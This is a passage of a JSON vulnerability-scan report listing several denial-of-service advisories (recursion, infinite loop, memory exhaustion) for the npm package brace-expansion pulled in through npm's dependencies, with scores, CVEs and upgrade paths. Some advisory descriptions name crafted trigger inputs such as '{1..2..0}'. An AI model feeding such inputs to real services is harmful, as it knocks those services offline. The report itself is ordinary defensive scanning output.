Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmpack@7.0.4",
"@npmcli/arborist@7.5.4",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpack@9.1.15",
"@npmcli/arborist@9.9.3",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmpack@7.0.4",
"@npmcli/arborist@7.5.4",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpack@9.1.15",
"@npmcli/arborist@9.9.3",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"pacote@18.0.6",
"@npmcli/run-script@8.1.0",
"@npmcli/package-json@5.2.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"pacote@21.5.1",
"@npmcli/run-script@10.0.4",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"pacote@18.0.6",
"@npmcli/run-script@8.1.0",
"@npmcli/package-json@5.2.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"pacote@21.5.1",
"@npmcli/run-script@10.0.4",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"pacote@18.0.6",
"@npmcli/run-script@8.1.0",
"@npmcli/package-json@5.2.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"pacote@21.5.1",
"@npmcli/run-script@10.0.4",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"pacote@18.0.6",
"@npmcli/run-script@8.1.0",
"@npmcli/package-json@5.2.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"pacote@21.5.1",
"@npmcli/run-script@10.0.4",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
